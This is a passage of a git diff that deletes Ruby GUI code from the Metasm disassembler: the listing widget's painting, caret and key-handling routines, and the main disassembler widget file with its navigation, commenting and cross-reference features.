@line_address[@caret_y] - a = @line_address[4..-1].find { |v| v != @line_address[0] } if @line_address[4] - @startaddr = a || (@startaddr + 4) - adjust_startaddr - end - end - - # renders the disassembler from @startaddr - def paint - w_w = width - w_h = height - - # arrow bg - draw_rectangle_color(:arrows_bg, 0, 0, @arrow_zone_w, w_h) - - # TODO scroll line-by-line when an addr is displayed on multiple lines (eg labels/comments) - # TODO selection - - update_line_text if @want_update_line_text - update_caret if @want_update_caret - - if @parent_widget.bg_color_callback - ly = 0 - @line_address.each { |a| - if c = @parent_widget.bg_color_callback[a] - draw_rectangle_color(c, @arrow_zone_w, ly*@font_height, w_w, @font_height) - end - ly += 1 - } - end - - # current window position - x = @arrow_zone_w + 1 - y = 0 - - # renders a string at current cursor position with a color - # must not include newline - render = lambda { |str, color| - # function ends when we write under the bottom of the listing - next if not str or y >= w_h or x >= w_w - draw_string_hl(color, x, y, str) - x += str.length * @font_width - } - - # draw caret line background - draw_rectangle_color(:cursorline_bg, 0, @caret_y*@font_height, w_w, @font_height) - - @line_text_color.each { |a| - a.each { |s, c| render[s, c] } - x = @arrow_zone_w + 1 - y += @font_height - } - - if focus? - cx = @arrow_zone_w + @caret_x*@font_width+1 - cy = @caret_y*@font_height - draw_line_color(:caret, cx, cy, cx, cy+@font_height-1) - end - - paint_arrows - end - - # draws the @arrows defined in paint_listing - def paint_arrows - return if @arrows.empty? or not @line_address[0] - w_w, w_h = @arrow_zone_w, height - - slot_alloc = {} # [y1, y2] => x slot -- y1 <= y2 - # find a free x slot for the vertical side of the arrow - max = (w_w-6)/3 - find_free = lambda { |y1, y2| - y1, y2 = y2, y1 if y2 < y1 - slot_alloc[[y1, y2]] = (0...max).find { |off| - not slot_alloc.find { |(oy1, oy2), oo| - # return true if this slot cannot share with off - next if oo != off # not same slot => ok - next if oy1 == y1 and y1 != 0 # same upbound & in window - next if oy2 == y2 and y2 != w_h-1 # same lowbound & in window - # check overlapping segment - (y1 >= oy1 and y1 <= oy2) or - (y2 >= oy1 and y2 <= oy2) or - (oy1 >= y1 and oy1 <= y2) or - (oy2 >= y1 and oy2 <= y2) - } - } || (max-1) - } - - # alloc slots for arrows, starts by the smallest - arrs = { :arrow_dn => [], :arrow_up => [], :arrow_hl => [] } - @arrows.sort_by { |from, to| - if from.kind_of? Numeric and to.kind_of? Numeric - (from-to).abs - else - 100000 - end - }.each { |from, to| - y1 = case from - when :up; 0 - when :down; w_h-1 - else from * @font_height + @font_height/2 - 1 - end - y2 = case to - when :up; 0 - when :down; w_h-1 - else to * @font_height + @font_height/2 - 1 - end - if y1 <= y2 - y1 += 2 if y1 != 0 - else - y1 -= 2 if y1 != w_h-1 - end - - col = :arrow_dn - col = :arrow_up if y1 > y2 - col = :arrow_hl if (from.kind_of? Integer and @line_address[from] == @line_address[@caret_y]) or - (to.kind_of? Integer and @line_address[to] == @line_address[@caret_y]) - arrs[col] << [y1, y2, find_free[y1, y2]] - } - - slot_w = (w_w-4)/slot_alloc.values.uniq.length - # draw arrows (hl last to overwrite) - [:arrow_dn, :arrow_up, :arrow_hl].each { |col| - draw_color(col) - arrs[col].each { |y1, y2, slot| - x1 = w_w-1 - x2 = w_w-4 - slot*slot_w - slot_w/2 - - draw_line(x1, y1, x2, y1) if y1 != 0 and y1 != w_h-1 - draw_line(x2, y1, x2, y2) - draw_line(x2, y2, x1, y2) if y2 != 0 and y2 != w_h-1 - draw_line(x1, y2, x1-3, y2-3) if y2 != 0 and y2 != w_h-1 - draw_line(x1, y2, x1-3, y2+3) if y2 != 0 and y2 != w_h-1 - } - } - end - - # if curaddr points to an instruction, find the next data, else find the next instruction - def move_to_next - a = current_address - if not @dasm.get_section_at(a) - a = @dasm.sections.map { |k, e| k }.find_all { |k| k > a }.min - elsif @dasm.di_at(a) - while di = @dasm.di_at(a) - a = di.block.list.last.next_addr - end - else - a = @dasm.decoded.keys.find_all { |k| k > a }.min - end - @parent_widget.focus_addr(a) if a - end - - # see move_to_next - def move_to_prev - a = current_address - if not @dasm.get_section_at(a) - a = @dasm.sections.map { |k, e| k }.find_all { |k| k < a }.max - a += @dasm.get_section_at(a)[0].length - 1 if a - elsif @dasm.di_at(a) - while di = @dasm.di_at(a) - a = di.block.list.first.address - if off = (1..16).find { |off_| - @dasm.decoded[a-off_].kind_of? DecodedInstruction and - @dasm.decoded[a-off_].next_addr == a } - a -= off - else - a -= 1 - end - end - else - a = @dasm.decoded.keys.find_all { |k| k < a }.max - end - @parent_widget.focus_addr(a) if a - end - - def keypress_ctrl(key) - case key - when ?n; move_to_next ; true - when ?p; move_to_prev ; true - else return false - end - true - end - - def keypress(key) - case key - when ?u # undef data formatting with ?d - addr = current_address - if not @dasm.decoded[addr] and @dasm.xrefs[addr].kind_of?(Xref) - @dasm.xrefs.delete addr - gui_update - end - when :left - if @caret_x >= 1 - @caret_x -= 1 - update_caret - end - when :up - if @caret_y > 1 or (@caret_y == 1 and @startaddr == @minaddr) - @caret_y -= 1 - else - adjust_startaddr(-1) - end - update_caret - when :right - if @caret_x < @line_text[@caret_y].to_s.length - @caret_x += 1 - update_caret - end - when :down - if @caret_y < @line_address.length-3 or (@caret_y < @line_address.length - 2 and @startaddr == @maxaddr) - @caret_y += 1 - else - if a = @line_address[0] and na = @line_address.find { |na_| na_ != a } - @startaddr = na - gui_update - else - adjust_startaddr(1) - end - end - update_caret - when :pgup - adjust_startaddr(-15) - when :pgdown - @startaddr = @line_address[@line_address.length/2] || @startaddr + 15 - gui_update - when :home - @caret_x = 0 - update_caret - when :end - @caret_x = @line_text[@caret_y].to_s.length - update_caret - when :popupmenu - rightclick(@caret_x*@font_width + @arrow_zone_w+1, @caret_y*@font_height) - else return false - end - true - end - - def get_cursor_pos - [@startaddr, @caret_x, @caret_y] - end - - def set_cursor_pos(p) - @startaddr, @caret_x, @caret_y = p - gui_update - end - - # hint that the caret moved - # redraws the caret, change the hilighted word, redraw if needed - def update_caret - if @want_update_line_text - @want_update_caret = true - return - end - return if not @line_text[@caret_y] - @want_update_caret = false - if update_hl_word(@line_text[@caret_y], @caret_x) or @oldcaret_y != @caret_y or true - redraw - else - return if @oldcaret_x == @caret_x and @oldcaret_y == @caret_y - - invalidate_caret(@oldcaret_x, @oldcaret_y, @arrow_zone_w, 0) - invalidate_caret(@caret_x, @caret_y, @arrow_zone_w, 0) - - if @arrows.find { |f, t| f == @caret_y or t == @caret_y or f == @oldcaret_y or t == @oldcaret_y } - invalidate(0, 0, @arrow_zone_w, 1000000) - end - end - @parent_widget.focus_changed_callback[] if @parent_widget.focus_changed_callback and @oldcaret_y != @caret_y - - @oldcaret_x = @caret_x - @oldcaret_y = @caret_y - end - - # focus on addr - # addr may be a dasm label, dasm address, dasm address in string form (eg "0DEADBEEFh") - # may scroll the window - # returns true on success (address exists) - def focus_addr(addr) - return if not addr = @parent_widget.normalize(addr) - if l = @line_address.index(addr) and l < @line_address.length - 4 - @caret_y, @caret_x = @line_address.rindex(addr), 0 - elsif addr.kind_of?(Integer) ? (addr >= @minaddr and addr <= @maxaddr) : @dasm.get_section_at(addr) - @startaddr, @caret_x, @caret_y = addr, 0, 0 - adjust_startaddr - @wantaddr = @startaddr - @line_address[@caret_y] = @startaddr # so that right after focus_addr(42) ; self.current_address => 42 (coverage sync) - else - return - end - update_caret - true - end - - # returns the address of the data under the cursor - def current_address - @line_address[@caret_y] || -1 - end - - # reads @dasm to update @line_text_color/@line_text/@line_address/@arrows - def update_line_text - @want_update_line_text = false - - w_h = (height + @font_height - 1) / @font_height - - curaddr = @startaddr - - @line_address.clear - @line_text.clear - @line_text_color.clear # list of [str, color] - - line = 0 - - # list of arrows to draw ([addr_from, addr_to]) - arrows_addr = [] - - str_c = [] - - nl = lambda { - @line_address[line] = curaddr - @line_text[line] = str_c.map { |s, c| s }.join - @line_text_color[line] = str_c - str_c = [] - line += 1 - } - - while line < w_h - if di = @dasm.di_at(curaddr) - if di.block_head? - # render dump_block_header, add a few colors - b_header = '' ; @dasm.dump_block_header(di.block) { |l| b_header << l ; b_header << ?\n if b_header[-1] != ?\n } - b_header.each_line { |l| - l.chomp! - cmt = (l[0, 2] == '//' or l[-1] != ?:) - str_c << [l, (cmt ? :comment : :label)] - nl[] - } - # ary - di.block.each_from_samefunc(@dasm) { |addr| - addr = @dasm.normalize addr - # block.list.last for delayslot - next if ndi = @dasm.di_at(addr) and ndi.block.list.last.next_addr == curaddr - arrows_addr << [addr, curaddr] - } - end - if di.block.list.last == di - # kikoo delayslot - rdi = di.block.list[-[4, di.block.list.length].min, 4].reverse.find { |_di| _di.opcode.props[:setip] } || di - di.block.each_to_samefunc(@dasm) { |addr| - addr = @dasm.normalize addr - next if di.next_addr == addr and (not rdi.opcode.props[:saveip] or rdi.block.to_subfuncret) - arrows_addr << [rdi.address, addr] - } - end - str_c << ["#{Expression[di.address]} ", :address] - if @raw_data_length.to_i > 0 - if s = @dasm.get_edata_at(curaddr) - raw = s.read(di.bin_length) - raw = raw.unpack('H*').first - else - raw = '' - end - raw = raw.ljust(@raw_data_length*2)[0, @raw_data_length*2] - raw += (di.bin_length > @raw_data_length ? '- ' : ' ') - str_c << [raw, :raw_data] - end - str_c << ["#{di.instruction} ".ljust(di.comment ? 24 : 0), :instruction] - str_c << [" ; #{di.comment.join(' ')}", :comment] if di.comment - nl[] - - # instr overlapping - if off = (1...di.bin_length).find { |off_| @dasm.decoded[curaddr + off_] } - nl[] - curaddr += off - str_c << ["// ------ overlap (#{di.bin_length - off}) ------", :comment] - nl[] - else - curaddr += [di.bin_length, 1].max - end - elsif s = @dasm.get_edata_at(curaddr) and s.ptr < s.length - @dasm.comment[curaddr].each { |c| str_c << ["// #{c}", :comment] ; nl[] } if @dasm.comment[curaddr] - if label = s.inv_export[s.ptr] - l_list = @dasm.label_alias[curaddr].to_a.sort - label = l_list.pop - nl[] if not l_list.empty? - l_list.each { |name| - str_c << ["#{name}:", :label] - nl[] - } - end - - len = 256 - comment = nil - if s.data.length > s.ptr - str = s.read(len).unpack('C*') - s.ptr -= len # we may not display the whole bunch, ptr is advanced later - len = str.length - if @dasm.xrefs[curaddr] or rel = s.reloc[s.ptr] - xlen = nil - xlen = rel.length if rel - comment = [] - @dasm.each_xref(curaddr) { |xref| - xlen ||= xref.len || 1 if xref.len - comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin]}" if xref.origin - } if @dasm.xrefs[curaddr] - len = xlen if xlen and xlen >= 2 # db xref may point a string - comment = nil if comment.empty? - len = (1..len).find { |l| @dasm.xrefs[curaddr+l] or s.inv_export[s.ptr+l] or s.reloc[s.ptr+l] } || len - str = str[0, len] if len < str.length - str = str.pack('C*').unpack(@dasm.cpu.endianness == :big ? 'n*' : 'v*') if xlen == 2 - if (xlen == 1 or xlen == 2) and asc = str.inject('') { |asc_, c| - case c - when 0x20..0x7e, 9, 10, 13; asc_ << c - else break asc_ - end - } and asc.length >= 1 - dat = "#{xlen == 1 ? 'db' : 'dw'} #{asc.inspect} " - aoff = asc.length * xlen - else - len = 1 if (len != 2 and len != 4 and len != 8) or len < 1 - dat = "#{%w[x db dw x dd x x x dq][len]} #{Expression[s.decode_imm("u#{len*8}".to_sym, @dasm.cpu.endianness)]} " - aoff = len - end - elsif asc = str.inject('') { |asc_, c| - case c - when 10; break asc_ << c - when 0x20..0x7e, 9, 13; asc_ << c - else break asc_ - end - } and asc.length > 3 - len = asc.length - len = (1..len).find { |l| @dasm.xrefs[curaddr+l] or s.inv_export[s.ptr+l] or s.reloc[s.ptr+l] } || len - asc = asc[0, len] - dat = "db #{asc.inspect} " - aoff = asc.length - elsif rep = str.inject(0) { |rep_, c| - case c - when str[0]; rep_+1 - else break rep_ - end - } and rep > 4 - rep = (1..rep).find { |l| @dasm.xrefs[curaddr+l] or s.inv_export[s.ptr+l] or s.reloc[s.ptr+l] } || rep - rep -= curaddr % 256 if rep == 256 and curaddr.kind_of? Integer - dat = "db #{Expression[rep]} dup(#{Expression[str[0]]}) " - aoff = rep - else - dat = "db #{Expression[str[0]]} " - aoff = 1 - end - else - if @dasm.xrefs[curaddr] - comment = [] - @dasm.each_xref(curaddr) { |xref| - len = xref.len if xref.len - comment << " #{xref.type}#{xref.len}:#{Expression[xref.origin] if xref.origin} " - } - len = 1 if (len != 2 and len != 4 and len != 8) or len < 1 - dat = "#{%w[x db dw x dd x x x dq][len]} ? " - aoff = len - else - len = [len, s.length-s.ptr].min - len -= curaddr % 256 if len == 256 and curaddr.kind_of? Integer - len = (1..len).find { |l| @dasm.xrefs[curaddr+l] or s.inv_export[s.ptr+l] or s.reloc[s.ptr+l] } || len - dat = "db #{Expression[len]} dup(?) " - aoff = len - end - end - str_c << ["#{Expression[curaddr]} ", :address] - if @raw_data_length.to_i > 0 - if s = @dasm.get_section_at(curaddr) - raw = s[0].read([aoff, @raw_data_length].min) - raw = raw.unpack('H*').first - else - raw = '' - end - raw = raw.ljust(@raw_data_length*2) - raw += (aoff > @raw_data_length ? '- ' : ' ') - str_c << [raw, :raw_data] - end - str_c << ["#{label} ", :label] if label - str_c << [dat.ljust(comment ? 24 : 0), :instruction] - str_c << [" ; #{comment.join(' ')}", :comment] if comment - nl[] - curaddr += aoff - else - nl[] - curaddr += 1 - end - end - @line_address[w_h..-1] = [] if @line_address.length >= w_h - @caret_y = @line_address.rindex(@wantaddr) || @caret_y if @wantaddr - @wantaddr = nil - - # convert arrows_addr to @arrows (with line numbers) - # updates @arrows_widget if @arrows changed - prev_arrows = @arrows - addr_line = {} # addr => last line (di) - @line_address.each_with_index { |a, l| addr_line[a] = l } - @arrows = arrows_addr.uniq.find_all { |from, to| - ((from-curaddr)+(to-curaddr)).kind_of?(::Integer) rescue nil - }.sort_by { |from, to| - [from-curaddr, to-curaddr] - }.map { |from, to| - [(addr_line[from] || (from-curaddr < 0 ? :up : :down)), - (addr_line[ to ] || (to - curaddr < 0 ? :up : :down))] - } - invalidate(0, 0, @arrow_zone_w, 100000) if prev_arrows != @arrows - end - - def gui_update - # allows a focus_addr after an operation that changed section addresses (eg rebase) - addrs = @dasm.sections.keys.grep(Integer) - @minaddr = addrs.min.to_i - @maxaddr = (addrs.max + @dasm.sections[addrs.max].length rescue (1 << @dasm.cpu.size)) - - @want_update_line_text = true - redraw - end -end -end -end diff --git a/lib/metasm/metasm/gui/dasm_main.rb b/lib/metasm/metasm/gui/dasm_main.rb deleted file mode 100644 index 0c6e504be9..0000000000 --- a/lib/metasm/metasm/gui/dasm_main.rb +++ /dev/null @@ -1,1163 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/gui/dasm_hex' -require 'metasm/gui/dasm_listing' -require 'metasm/gui/dasm_opcodes' -require 'metasm/gui/dasm_coverage' -require 'metasm/gui/dasm_graph' -require 'metasm/gui/dasm_decomp' -require 'metasm/gui/dasm_funcgraph' -require 'metasm/gui/cstruct' - -module Metasm -module Gui -class DrawableWidget - ColorTheme = { :comment => :darkblue, :label => :darkgreen, :text => :black, - :instruction => :black, :address => :blue, :caret => :black, :background => :white, - :cursorline_bg => :paleyellow, :hl_word_bg => :palered, :hl_word => :black, - :red_bg => 'f88', :green_bg => '8f8', :blue_bg => '88f', - :cyan_bg => '8ff', :magenta_bg => 'f8f', :yellow_bg => 'ff8', - :orange_bg => 'fc8' - } -end - -# the main disassembler widget: this is a container for all the lower-level widgets that actually render the dasm state -class DisasmWidget < ContainerChoiceWidget - attr_accessor :entrypoints, :gui_update_counter_max - attr_accessor :keyboard_callback, :keyboard_callback_ctrl # hash key => lambda { |key| true if handled } - attr_accessor :clones - attr_accessor :pos_history, :pos_history_redo - attr_accessor :bg_color_callback # proc { |address| "rgb" # "00f" -> blue } - attr_accessor :focus_changed_callback - attr_accessor :parent_widget - - def initialize_widget(dasm, ep=[]) - @dasm = dasm - @dasm.gui = self - ep = [ep] if not ep.kind_of? Array - @entrypoints = ep - @pos_history = [] - @pos_history_redo = [] - @keyboard_callback = {} - @keyboard_callback_ctrl = {} - @clones = [self] - @parent_widget = nil - @gui_update_counter_max = 100 - @dasm.callback_prebacktrace ||= lambda { Gui.main_iter } - start_disassemble_bg - - addview :listing, AsmListingWidget.new(@dasm, self) - addview :graph, GraphViewWidget.new(@dasm, self) - addview :decompile, CdecompListingWidget.new(@dasm, self) - addview :opcodes, AsmOpcodeWidget.new(@dasm, self) - addview :hex, HexWidget.new(@dasm, self) - addview :coverage, CoverageWidget.new(@dasm, self) - addview :funcgraph, FuncGraphViewWidget.new(@dasm, self) - addview :cstruct, CStructWidget.new(@dasm, self) - - view(:listing).grab_focus - end - - attr_reader :dasm - # when updating @dasm, also update dasm for all views - def dasm=(d) - @dasm = d - view_indexes.each { |v| - w = view(v) - w.dasm = d if w.respond_to?(:'dasm=') - } - end - - # start an idle callback that will run one round of @dasm.disassemble_mainiter - def start_disassemble_bg - return if @dasm.addrs_todo.empty? and @entrypoints.all? { |ep| @dasm.decoded[ep] } - gui_update_counter = 0 - run = false - Gui.idle_add { - # metasm disassembler loop - # update gui once in a while - if run or not @entrypoints.empty? or not @dasm.addrs_todo.empty? - protect { run = @dasm.disassemble_mainiter(@entrypoints) } - gui_update_counter += 1 - if gui_update_counter > @gui_update_counter_max - gui_update_counter = 0 - gui_update - end - true - else - gui_update - false - end - } - end - - def wait_disassemble_bg - Gui.main_iter until @entrypoints.empty? and @dasm.addrs_todo.empty? - end - - def terminate - @clones.delete self - end - - # returns the address of the item under the cursor in current view - def curaddr - curview.current_address - end - - # returns the object under the cursor in current view (@dasm.decoded[curaddr]) - def curobj - @dasm.decoded[curaddr] - end - - # returns the address of the label under the cursor or the address of the line of the cursor - def pointed_addr - hl = curview.hl_word - if hl =~ /^[0-9].*h$/ and a = hl.to_i(16) and @dasm.get_section_at(a) - return a - end - @dasm.prog_binding[hl] || curview.current_address - end - - # returns the ExpressionString if the currently hilighted word is a :stackvar - def pointed_localvar(obj=curobj, hl=curview.hl_word) - return if not obj.kind_of?(Renderable) - localvar = nil - obj.each_expr { |e| - next unless e.kind_of?(ExpressionString) - localvar = e if e.type == :stackvar and e.str == hl - } - localvar - end - - # parse an address and change it to a canonical address form - # supported formats: label names, or string with numerical value, incl hex (0x42 and 42h) - # if the string is full decimal, a check against mapped space is done to find if it is - # hexadecimal (eg 08048000) - def normalize(addr) - case addr - when ::String - if @dasm.prog_binding[addr] - addr = @dasm.prog_binding[addr] - elsif (?0..?9).include? addr[0] or (?a..?f).include? addr.downcase[0] - case addr - when /^0x/i - when /h$/i; addr = '0x' + addr[0...-1] - when /[a-f]/i; addr = '0x' + addr - when /^[0-9]+$/ - addr = '0x' + addr if not @dasm.get_section_at(addr.to_i) and - @dasm.get_section_at(addr.to_i(16)) - end - begin - addr = Integer(addr) - rescue ::ArgumentError - return - end - else - return - end - end - addr - end - - # display the specified address - # the display first searches in the current view - # if it cannot display the address, the listing, graph and decompile views are tried (in that order) - # the current focus address is saved in @pos_history (see focus_addr_back/redo) - # if quiet is false, a messagebox is popped if no view can display the address - def focus_addr(addr, viewidx=nil, quiet=false, *a) - viewidx ||= curview_index || :listing - return if not addr - return if viewidx == curview_index and addr == curaddr and a.empty? - oldpos = [curview_index, (curview.get_cursor_pos if curview)] - views = [viewidx, oldpos[0]] - views += [:listing, :graph, :decompile] & view_indexes - if views.compact.uniq.find { |i| - o_p = view(i).get_cursor_pos - if (view(i).focus_addr(addr, *a) rescue nil) - view(i).gui_update if i != oldpos[0] - showview(i) - true - else - view(i).set_cursor_pos o_p - a.clear - false - end - } - @pos_history << oldpos if oldpos[0] # ignore start focus_addr - @pos_history_redo.clear - session_append "@session_focus_addr = #{addr.inspect} ; @pos_history = #{@pos_history.inspect}" - true - else - messagebox "Invalid address #{addr}" if not quiet - if oldpos[0] - showview oldpos[0] - curview.set_cursor_pos oldpos[1] - end - false - end - end - - # focus on the last address seen before the last focus_addr - def focus_addr_back(val = @pos_history.pop) - return if not val - @pos_history_redo << [curview_index, curview.get_cursor_pos] - showview val[0] - curview.set_cursor_pos val[1] - true - end - - # undo focus_addr_back - def focus_addr_redo - if val = @pos_history_redo.pop - @pos_history << [curview_index, curview.get_cursor_pos] - showview val[0] - curview.set_cursor_pos val[1] - end - end - - # ask the current view to update itself and redraw (incl all cloned widgets) - def gui_update - @clones.each { |c| c.do_gui_update } - end - - # ask the current view to update itself - def do_gui_update - curview.gui_update if curview # invalidate all views ? - end - - # redraw the window - def redraw - curview.redraw - end - - # calls focus_addr(pre_yield_curaddr) after yield - def keep_focus_while - addr = curaddr - yield - focus_addr curaddr if addr - end - - # calls listwindow with the same argument, but also creates a new bg_color_callback - # that will color lines whose address is to be found in list[0] in green - # the callback is put only for the duration of the listwindow, and is not reentrant. - def list_bghilight(title, list, a={}, &b) - prev_colorcb = bg_color_callback - hash = list[1..-1].inject({}) { |h, l| h.update Expression[l[0] || :unknown].reduce => true } - @bg_color_callback = lambda { |addr| hash[addr] ? '0f0' : prev_colorcb ? prev_colorcb[addr] : nil } - redraw - popupend = lambda { @bg_color_callback = prev_colorcb ; redraw } - listwindow(title, list, a.merge(:ondestroy => popupend), &b) - end - - # add/change a comment @addr - def add_comment(addr) - cmt = @dasm.comment[addr].to_a.join(' ') - if di = @dasm.di_at(addr) - cmt += di.comment.to_a.join(' ') - end - inputbox("new comment for #{Expression[addr]}", :text => cmt) { |c| - c = c.split("\n") - c = nil if c == [] - do_add_comment(addr, c) - session_append "do_add_comment(#{addr.inspect}, #{c.inspect})" - gui_update - } - end - - def do_add_comment(addr, c) - if di = @dasm.di_at(addr) - di.comment = c - else - @dasm.comment[addr] = c - end - end - - # disassemble from this point - # if points to a call, make it return - def disassemble(addr) - session_append "disassemble(#{addr.inspect}) ; wait_disassemble_bg" - if di = @dasm.di_at(addr) and di.opcode.props[:saveip] - di.block.each_to_normal { |t| - t = @dasm.normalize t - next if not @dasm.decoded[t] - @dasm.function[t] ||= @dasm.function[:default] ? @dasm.function[:default].dup : DecodedFunction.new - } - di.block.add_to_subfuncret(di.next_addr) - @dasm.addrs_todo << [di.next_addr, addr, true] - elsif addr - @dasm.addrs_todo << [addr] - end - start_disassemble_bg - end - - # disassemble fast from this point (don't dasm subfunctions, don't backtrace) - def disassemble_fast(addr) - @dasm.disassemble_fast(addr) - session_append "dasm.disassemble_fast(#{addr.inspect})" - gui_update - end - - # disassemble fast & deep from this point (don't backtrace, but still dasm subfuncs) - def disassemble_fast_deep(addr) - @dasm.disassemble_fast_deep(addr) - session_append "dasm.disassemble_fast_deep(#{addr.inspect})" - gui_update - end - - # (re)decompile - def decompile(addr) - session_append "decompile(#{addr.inspect})" - if @dasm.c_parser and var = @dasm.c_parser.toplevel.symbol[addr] and (var.type.kind_of? C::Function or @dasm.di_at(addr)) - @dasm.decompiler.redecompile(addr) - view(:decompile).curaddr = nil - end - focus_addr(addr, :decompile) - end - - # change the format of displayed data under addr (byte, word, dword, qword) - # currently this is done using a fake empty xref - def toggle_data(addr) - session_append "toggle_data(#{addr.inspect})" - return if @dasm.decoded[addr] or not @dasm.get_section_at(addr) - @dasm.add_xref(addr, Xref.new(nil, nil, 1)) if not @dasm.xrefs[addr] - @dasm.each_xref(addr) { |x| - x.len = {1 => 2, 2 => 4, 4 => 8}[x.len] || 1 - break - } - gui_update - end - - def list_functions - list = [['name', 'addr']] - @dasm.function.keys.each { |f| - addr = @dasm.normalize(f) - next if not @dasm.di_at(addr) - list << [@dasm.get_label_at(addr), Expression[addr]] - } - title = "list of functions" - listwindow(title, list) { |i| focus_addr i[1] } - end - - def list_labels - list = [['name', 'addr']] - @dasm.prog_binding.each { |k, v| - list << [k, Expression[@dasm.normalize(v)]] - } - listwindow("list of labels", list) { |i| focus_addr i[1] } - end - - def list_sections - list = [['addr', 'length', 'name', 'info']] - @dasm.section_info.each { |n,a,l,i| - list << [Expression[a], Expression[l], n, i] - } - listwindow("list of sections", list) { |i| focus_addr i[0] if i[0] != '0' or @dasm.get_section_at(0) } - end - - def list_strings - list = [['addr', 'string', 'length']] - @dasm.strings_scan { |o, str| - list << [Expression[o], str[0, 24].inspect, str.length] - } - listwindow("list of strings", list) { |i| focus_addr i[0] } - end - - def list_xrefs(addr=nil) - list = [['address', 'type', 'instr']] - if not addr and pointed_localvar - addr = curview.hl_word - faddr = @dasm.find_function_start(curaddr) - func = @dasm.function[faddr] - if func and func.localvars_xrefs - stoff = func.localvars.index(addr) - func.localvars_xrefs[stoff].to_a.each { |a| - list << [Expression[a], '?'] - if di = @dasm.di_at(a) - list.last << di.instruction - end - } - end - else - addr ||= pointed_addr - @dasm.each_xref(addr) { |xr| - next if not xr.origin - list << [Expression[xr.origin], "#{xr.type}#{xr.len}"] - if di = @dasm.di_at(xr.origin) - list.last << di.instruction - end - } - end - if list.length == 1 - messagebox "no xref to #{Expression[addr]}" if addr - else - listwindow("list of xrefs to #{Expression[addr]}", list) { |i| focus_addr(i[0], nil, true) } - end - end - - # jump to address - def prompt_goto - inputbox('address to go', :text => Expression[curaddr]) { |v| - focus_addr_autocomplete(v) - } - end - - def prompt_backtrace(addr=curaddr) - inputbox('expression to backtrace', :text => curview.hl_word) { |e| - expr = IndExpression.parse_string(e) - bd = {} - registers = (@dasm.cpu.dbg_register_list.map { |r| r.to_s } rescue []) - expr.externals.grep(String).each { |w| - if registers.include? w.downcase - bd[w] = w.downcase.to_sym - end - } - expr = expr.bind(bd).reduce { |e_| e_.len ||= @dasm.cpu.size/8 if e_.kind_of? Indirection ; nil } - - log = [] - dasm.backtrace(expr, addr, :log => log) - list = [['address', 'type', 'old value', 'value']] - log.each { |t, *a| - list << [Expression[a[-1]], t] - case t - when :start - list.last << a[0] - when :up - list.pop - when :di - list.last << a[1] << a[0] - when :func - list.last << a[1] << a[0] - when :found - list.pop - a[0].each { |e_| list << [nil, :found, Expression[e_]] } - else - list.last << a[0] << a[1..-1].inspect - end - } - list_bghilight("backtrace #{expr} from #{Expression[addr]}", list) { |i| - a = i[0].empty? ? i[2] : i[0] - focus_addr(a, nil, true) - } - } - end - - # prompt the contant to use in place of some numeric value - def prompt_constant(di=curobj) - return if not di.kind_of?(DecodedInstruction) - di.each_expr { |e| - next unless e.kind_of?(Expression) - if (e.lexpr.kind_of?(Integer) or e.lexpr.kind_of?(ExpressionString)) and - (!curview.hl_word or curview.hl_word == Expression[e.lexpr].to_s) - v = Expression[e.lexpr].reduce - lst = [] - dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv } - if not lst.empty? - default = Expression[v].to_s - lst << [default] - listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a| - if a[0] == default - e.lexpr = v - else - e.lexpr = ExpressionString.new(v, a[0], :constant) - end - session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.lexpr = #{e.lexpr.inspect} if e.kind_of?(Expression) and e.lexpr and Expression[e.lexpr].reduce == #{v.inspect} } ; end" - gui_update - } - end - end - if (e.rexpr.kind_of? Integer or e.rexpr.kind_of?(ExpressionString)) and - (!curview.hl_word or curview.hl_word == Expression[e.rexpr].to_s) - v = Expression[e.rexpr].reduce - lst = [] - dasm.c_constants.each { |cn, cv, fm| lst << [cn, fm] if v == cv } - if not lst.empty? - default = Expression[v].to_s - lst << [default] - listwindow("constant for #{Expression[v]}", [['name', 'enum']] + lst) { |a| - if a[0] == default - e.rexpr = v - else - e.rexpr = ExpressionString.new(v, a[0], :constant) - end - session_append "if di = dasm.di_at(#{di.address.inspect}) ; di.each_expr { |e| e.rexpr = #{e.rexpr.inspect} if e.kind_of?(Expression) and e.rexpr and Expression[e.rexpr].reduce == #{v.inspect} } ; end" - gui_update - } - end - end - } - end - - # prompts for a structure name, autocompletes to known structures, and/or display a listwindow with - # possible completions, yields the target structure name - def prompt_c_struct(prompt, opts={}) - inputbox(prompt, opts) { |st_name| - stars = '' - if opts[:allow_stars] - stars = st_name[/\**$/] - st_name[stars] = '' - end - - # TODO propose typedef struct {} moo; too - sh = @dasm.c_parser.toplevel.struct - if sh[st_name].kind_of?(C::Union) - stn_list = [st_name] - else - stn_list = sh.keys.grep(String).find_all { |k| sh[k].kind_of?(C::Union) } - end - - if name = stn_list.find { |n| n == st_name } || stn_list.find { |n| n.downcase == st_name.downcase } - # single match - yield(name+stars) - else - # try autocomplete - list = [['name']] - list += stn_list.sort.grep(/#{st_name}/i).map { |stn| [stn+stars] } - if list.length == 2 - # single autocompletion - yield(list[1][0]) - else - listwindow(prompt, list) { |ans| - yield(ans[0]) - } - end - end - } - end - - # prompt the struct to use for offset in a given instr - def prompt_struct_ptr(reg=curview.hl_word, addr=curaddr) - return if not reg or not @dasm.cpu.register_symbols.find { |rs| rs.to_s == reg.to_s } - reg = reg.to_sym - - di = @dasm.di_at(addr) - return if not di.kind_of?(DecodedInstruction) - - prompt_c_struct("struct pointed by #{reg}", :allow_stars => true) { |st| - # TODO store that info for the decompiler ? - @dasm.trace_update_reg_structptr(addr, reg, st) - session_append "dasm.trace_update_reg_structptr(#{addr.inspect}, #{reg.inspect}, #{st.inspect})" - gui_update - } - end - - # same as focus_addr, also understands partial label names - # if the partial part is ambiguous, show a listwindow with all matches (if show_alt) - def focus_addr_autocomplete(v, show_alt=true) - if not focus_addr(v, nil, true) - labels = @dasm.prog_binding.map { |k, vv| - [k, Expression[@dasm.normalize(vv)]] if k.downcase.include? v.downcase - }.compact - case labels.length - when 0; focus_addr(v) - when 1; focus_addr(labels[0][0]) - else - if labels.all? { |k, vv| vv == labels[0][1] } - focus_addr(labels[0][0]) - elsif show_alt - labels.unshift ['name', 'addr'] - listwindow("list of labels", labels) { |i| focus_addr i[1] } - end - end - end - end - - # parses a C header - def 